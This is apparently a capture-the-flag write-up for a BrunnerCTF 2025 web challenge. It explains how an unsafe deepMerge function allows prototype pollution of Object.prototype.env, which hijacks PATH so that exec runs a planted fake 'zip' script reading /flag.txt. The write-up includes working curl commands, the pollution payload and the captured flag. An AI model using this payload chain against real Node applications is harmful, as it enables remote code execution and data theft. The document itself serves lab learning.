BrunnerCTF 2025 - WEB Recipe for Disaster


This challenge demonstrates a classic prototype pollution vulnerability that leads to remote code execution through PATH hijacking. We exploit a dangerous deepMerge function to pollute Object.prototype.env, hijack the system’s PATH variable, and execute a malicious binary disguised as the legitimate zip command.

Overview & Attribution Link to heading

When I first tackled this challenge, I had a gut feeling we were dealing with prototype pollution. But the real “enlightment” moment came when I found an epic writeup Mizu at mizu.re. This absolute legend in the web security game, and his breakdown of a similar exploit was like finding the perfect recipe for this challenge. If you’re into this stuff, you have to check out Mizu’s work. His DOMPurify research is really insane. Huge props to them for sharing knowledge that helps us all level up!

Vulnerability Analysis Link to heading

The Root Cause: Unsafe Object Merging Link to heading

The core vulnerability lies in the deepMerge function within server.js. This function exhibits several dangerous characteristics:

  • Unvalidated recursive merging - No sanitization of property names during merge operations
  • Dangerous prototype access - Allows modification of constructor.prototype.* properties
  • Global pollution impact - Enables attackers to modify Object.prototype, affecting all objects application-wide

The Attack Strategy Link to heading

Our exploitation follows a three-stage process:

  1. Deploy Malicious Binary → Plant a fake zip executable via /api/note
  2. Prototype Pollution → Poison the global prototype via /api/settings
  3. Trigger Execution → Force the server to execute our fake binary through /export

How The Exploit Works Link to heading

The key insight is understanding JavaScript’s prototype inheritance mechanism. When the export endpoint processes our request:

  1. The server creates a baseOpts object for the exec() call
  2. Although baseOpts.env doesn’t exist as a direct property, JavaScript’s prototype chain lookup finds our polluted Object.prototype.env
  3. Our controlled PATH variable (/app/data/pp) takes precedence over the system PATH
  4. When exec("zip -r ...") runs, it finds our malicious binary first

The Security Bypass Link to heading

The developers attempted to prevent environment manipulation:

delete baseOpts.env;

However, this only removes direct properties - inherited properties from the prototype chain survive. Our pollution lives in the prototype, not on the object itself, so it persists through this “cleanup” attempt.

Exploitation Steps Link to heading

Step 1: Deploy Malicious Binary Link to heading

First, we create a fake zip executable that will read and return the flag:

curl -s -X POST https://recipe-for-disaster-400f8ea7714c3712.challs.brunnerne.xyz/api/note \
  -d 'name=pp' -d 'filename=zip' -d $'content=#!/bin/sh\nread line < /flag.txt; echo $line' \
  -d 'makeExecutable=true'

Screenshot

Expected response:

{"ok":true,"path":"data/pp/zip"}

What’s happening: We’re planting a malicious executable disguised as the legitimate zip command. The server thinks it’s just storing a harmless note, but we’re actually placing an executable file in /app/data/pp/zip. When executed, our fake zip will read the flag file instead of creating an archive. The key is the makeExecutable=true parameter which gives our file execution permissions.

Step 2: Execute Prototype Pollution Link to heading

Next, we pollute the prototype to hijack the PATH environment variable:

curl -s -X POST https://recipe-for-disaster-400f8ea7714c3712.challs.brunnerne.xyz/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"exportOptions":{"constructor":{"prototype":{"env":{"PATH":"/app/data/pp"}}}}}'

Screenshot

Expected response:

{"ok":true,"settings":{"theme":"brunsviger","glaze":"brown-sugar","exportOptions":{"timeout":5000,"maxBuffer":1048576}}}

What’s happening: This is where the magic happens. We’re exploiting the unsafe deepMerge function to pollute the global Object.prototype. By navigating through constructor.prototype, we’re essentially modifying the “DNA” of all JavaScript objects in the application. We set Object.prototype.env = {"PATH": "/app/data/pp"}, which means any object that doesn’t have its own env property will inherit this one through JavaScript’s prototype chain.

Step 3: Trigger Remote Code Execution Link to heading

Finally, we trigger the export functionality to execute our malicious binary:

curl -s 'https://recipe-for-disaster-400f8ea7714c3712.challs.brunnerne.xyz/export?name=pp'

Screenshot

Result - The flag is revealed:

Screenshot

brunner{pr0t0typ3_p0llu710n_0v3rf10w1ng_7h3_0v3n}

What’s happening: When the export endpoint processes our request, it creates a baseOpts object for the exec() call. Here’s the beautiful part - even though the developers tried to be secure by doing delete baseOpts.env, this only removes direct properties. Since baseOpts doesn’t have its own env property, JavaScript looks up the prototype chain and finds our polluted Object.prototype.env with the controlled PATH.

When the server executes exec("zip -r ..."), the system searches for the zip binary using our hijacked PATH (/app/data/pp), finds our malicious executable first, and runs it instead of the legitimate zip command. Game over - our fake zip reads and outputs the flag!


Flag: brunner{pr0t0typ3_p0llu710n_0v3rf10w1ng_7h3_0v3n}